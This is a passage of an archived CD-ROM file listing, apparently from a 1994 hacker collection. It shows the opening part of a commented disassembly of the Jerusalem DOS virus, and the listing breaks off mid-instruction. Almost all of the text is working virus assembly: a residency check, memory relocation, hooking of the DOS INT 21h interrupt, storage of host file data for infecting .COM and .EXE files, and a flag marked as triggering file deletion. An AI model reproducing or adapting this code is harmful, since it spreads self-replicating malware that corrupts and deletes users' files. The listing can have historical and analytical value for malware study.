home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / JERUSALE.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  39KB  |  892 lines

  1. CODE SEGMENT
  2. ;The following is a disassembled, structured and commented listing of the
  3. ;Jerusalem .COM and .EXE infector  virus.  All comments, structure inclusions
  4. ;
  5. ;              INTERPATH
  6. ;              4423 Cheeney Street
  7. ;              Santa Clara, CA 95054
  8.  
  9. ;-----------------------------------------------------------------------;
  10. ; THE "JERUSALEM" VIRUS                                                 ;
  11. ;-----------------------------------------------------------------------;
  12.                         ;
  13.     ORG  100H           ;
  14.                         ;
  15. ;-----------------------------------------------------------------------;
  16. ; JERUSALEM VIRUS                                ;
  17. ;-----------------------------------------------------------------------;
  18. BEGIN_COM:              ; COM FILES START HERE
  19.     JMP  CONTINUE       ;
  20.                         ;
  21. ;-----------------------------------------------------------------------;
  22. ;                                           ;
  23. ;-----------------------------------------------------------------------;
  24. A0103         DB      073H,055H
  25.  
  26. MS_DOS        DB   'MsDos'        ;
  27.  
  28.          DB   000H,001H,015H,018H
  29.  
  30. TIME_BOMB     DB   0         ;WHEN == 1 THIS FILE GETS DELETED!
  31.  
  32.          DB   000H
  33. A0010         DB   000H
  34.  
  35. A0011         DW   100H      ;HOST SIZE (BEFORE INFECTION)
  36.  
  37. OLD_08        DW   0FEA5H,0F000H  ;OLD INT 08H VECTOR (CLOCK TIC)
  38.  
  39. OLD_21        DW   1460H,024EH    ;OLD INT 21H VECTOR
  40. OLD_24        DW   0556H,16A5H    ;001B
  41.  
  42. A_FLAG        DW   7E48H          ;???
  43.  
  44. A0021         DB   000H,000H,000H,000H,000H,000H,000H
  45.          DB   000H,000H,000H,000H
  46.  
  47. A002C         DW   0         ;A SEGMENT
  48.  
  49.          DB   000H,000H
  50. A0030         DB   000H
  51.  
  52. A0031         DW   0178EH         ;OLD ES VALUE
  53.  
  54. A0033         DW   0080H          ;
  55.                         ;
  56. EXEC_BLOCK    DW   0         ;ENV. SEG. ADDRESS  ;0035
  57.          DW   80H       ;COMMAND LINE ADDRESS
  58.          DW   178EH          ;+4
  59.          DW   005CH          ;FCB #1 ADDRESS
  60.          DW   178EH          ;+8
  61.          DW   006CH          ;FCB #2 ADDRESS
  62.          DW   0178EH         ;+12
  63.                         ;
  64. HOST_SP       DW   0710H          ;(TAKEN FROM EXE HEADER) 0043
  65. HOST_SS       DW   347AH          ;(AT TIME OF INFECTION)
  66. HOST_IP       DW   00C5H          ;
  67. HOST_CS       DW   347AH          ;
  68. ;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF
  69.                         ;
  70. A004B         DW   0F010H              ;
  71. A004D         DB   82H            ;
  72. A004E         DB   0              ;
  73.  
  74. EXE_HDR       DB   1CH DUP (?)         ;004F
  75.  
  76. A006B         DB   5 DUP (?)      ;LAST 5 BYTES OF HOST
  77.  
  78. HANDLE        DW   0005H               ;0070
  79. HOST_ATT DW   0020H               ;0072
  80. HOST_DATE     DW   0021H               ;0074
  81. HOST_TIME     DW   002DH               ;0076
  82.  
  83. BLOCK_SIZE    DW   512            ;512 BYTES/BLOCK
  84.  
  85. A007A         DW   0010H
  86.  
  87. HOST_SIZE     DW   27C0H,0001H         ;007C
  88. HOST_NAME     DW   41D9H,9B28H         ;POINTER TO HOST NAME
  89.  
  90. COMMAND_COM   DB   'COMMAND.COM'
  91.  
  92.          DB   1
  93. A0090         DB   0,0,0,0,0
  94.  
  95. ;-----------------------------------------------------------------------;
  96. ;                                           ;
  97. ;-----------------------------------------------------------------------;
  98. CONTINUE:                    ;
  99.     CLD                 ;
  100.     MOV  AH,0E0H             ;DO A ???...
  101.     INT  21H            ;
  102.                         ;
  103.     CMP  AH,0E0H             ;
  104.     JNC  L01B5               ;
  105.     CMP  AH,3           ;
  106.     JC   L01B5               ;
  107.                         ;
  108.     MOV  AH,0DDH             ;
  109.     MOV  DI,offset BEGIN_COM ;DI = BEGINNING OF OUR (VIRUS) CODE
  110.     MOV  SI,0710H       ;SI = SIZE OF OUR (VIRUS) CODE
  111.     ADD  SI,DI               ;SI = BEGINNING OF HOST CODE
  112.     MOV  CX,CS:[DI+11H]      ;CX = (SIZE OF HOST CODE?)
  113.     INT  21H            ;
  114.                         ;
  115. L01B5:   MOV  AX,CS               ;TWEEK CODE SEGMENT BY 100H
  116.     ADD  AX,10H              ;
  117.     MOV  SS,AX               ;SS = TWEEKed CS
  118.     MOV  SP,700H             ;SP = END OF OUR CODE (VIRUS)
  119.                         ;
  120. ;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF
  121.                         ;
  122.     PUSH AX             ;JMP FAR CS+10H:IP-100H
  123.     MOV  AX,offset BEGIN_EXE - offset BEGIN_COM
  124.     PUSH AX             ;
  125.     RETF                ;
  126.                         ;
  127. ;---------------------------------------;
  128.     ORG  0C5h           ;
  129. ;---------------------------------------;
  130.                         ;
  131. BEGIN_EXE:                   ;EXE FILES START HERE
  132.     CLD                 ;
  133.     PUSH ES             ;
  134.                         ;
  135.     MOV  CS:[A0031],ES       ;
  136.     MOV  CS:[EXEC_BLOCK+4],ES     ;INIT EXEC_BLOCK SEG VALUES
  137.     MOV  CS:[EXEC_BLOCK+8],ES     ;
  138.     MOV  CS:[EXEC_BLOCK+12],ES    ;
  139.                         ;
  140.     MOV  AX,ES               ;TWEEK ES SAME AS CS ABOVE
  141.     ADD  AX,10H              ;
  142.     ADD  CS:[HOST_CS],AX          ;   SAVE NEW ES VALUE
  143.     ADD  CS:[HOST_SS],AX          ;
  144.                         ;
  145.     MOV  AH,0E0H             ;
  146.     INT  21H            ;
  147.                         ;
  148.     CMP  AH,0E0H             ;
  149.     JNC  L0106               ;00F1     7313
  150.                         ;
  151.     CMP  AH,3           ;
  152.     POP  ES             ;00F6
  153.     MOV  SS,CS:[HOST_SS]          ;
  154.     MOV  SP,CS:[HOST_SP]          ;
  155.     JMP  far CS:[HSOT_IP]    ;
  156.                         ;
  157. L0106:   XOR  AX,AX               ;0106     33C0
  158.     MOV  ES,AX               ;0108     8EC0
  159.     MOV  AX,ES:[03FC]        ;010A     26A1FC03
  160.     MOV  CS:[A004B],AX       ;010E     2EA34B00
  161.     MOV  AL,ES:[03FE]        ;0112     26A0FE03
  162.     MOV  CS:[A004D],AL       ;0116     2EA24D00
  163.     MOV  Word ptr ES:[03FC],A5F3  ;011A     26C706FC03F3A5
  164.     MOV  Byte ptr ES:[03FE],CB    ;0121     26C606FE03CB
  165.     POP  AX             ;0127     58
  166.     ADD  AX,10H              ;0128     051000
  167.     MOV  ES,AX               ;012B     8EC0
  168.     PUSH CS             ;012D     0E
  169.     POP  DS             ;012E     1F
  170.     MOV  CX,710H             ;SIZE OF VIRUS CODE
  171.     SHR  CX,1           ;0132     D1E9
  172.     XOR  SI,SI               ;0134     33F6
  173.     MOV  DI,SI               ;0136     8BFE
  174.     PUSH ES             ;0138     06
  175.     MOV  AX,0142             ;0139     B84201
  176.     PUSH AX             ;013C     50
  177.     JMP  0000:03FC      ;013D     EAFC030000
  178.                         ;
  179.     MOV  AX,CS               ;0142     8CC8
  180.     MOV  SS,AX               ;0144     8ED0
  181.     MOV  SP,700H             ;0146     BC0007
  182.     XOR  AX,AX               ;0149     33C0
  183.     MOV  DS,AX               ;014B     8ED8
  184.     MOV  AX,CS:[A004B]       ;014D     2EA14B00
  185.     MOV  [03FC],AX      ;0151     A3FC03
  186.     MOV  AL,CS:[A004D]       ;0154     2EA04D00
  187.     MOV  [03FE],AL      ;0158     A2FE03
  188.     MOV  BX,SP               ;015B     8BDC
  189.     MOV  CL,04               ;015D     B104
  190.     SHR  BX,CL               ;015F     D3EB
  191.     ADD  BX,+10              ;0161     83C310
  192.     MOV  CS:[A0033],BX       ;
  193.                         ;
  194.     MOV  AH,4AH              ;
  195.     MOV  ES,CS:[A0031]       ;
  196.     INT  21H            ;MODIFY ALLOCATED MEMORY BLOCKS
  197.                         ;
  198.     MOV  AX,3521             ;
  199.     INT  21H            ;GET VECTOR
  200.     MOV  CS:[OLD_21],BX      ;
  201.     MOV  CS:[OLD_21+2],ES    ;
  202.                         ;
  203.     PUSH CS             ;0181     0E
  204.     POP  DS             ;0182     1F
  205.     MOV  DX,offset NEW_INT_21     ;0183     BA5B02
  206.     MOV  AX,2521             ;
  207.     INT  21H            ;SAVE VECTOR
  208.                         ;
  209.     MOV  ES,[A0031]          ;018B     8E063100
  210.     MOV  ES,ES:[A002C]       ;018F     268E062C00
  211.     XOR  DI,DI               ;0194     33FF
  212.     MOV  CX,7FFFH       ;0196     B9FF7F
  213.     XOR  AL,AL               ;0199     32C0
  214.     REPNE     SCASB               ;019C     AE
  215.     CMP  ES:[DI],AL          ;019D     263805
  216.     LOOPNZ    019B           ;01A0     E0F9
  217.     MOV  DX,DI               ;01A2     8BD7
  218.     ADD  DX,+03              ;01A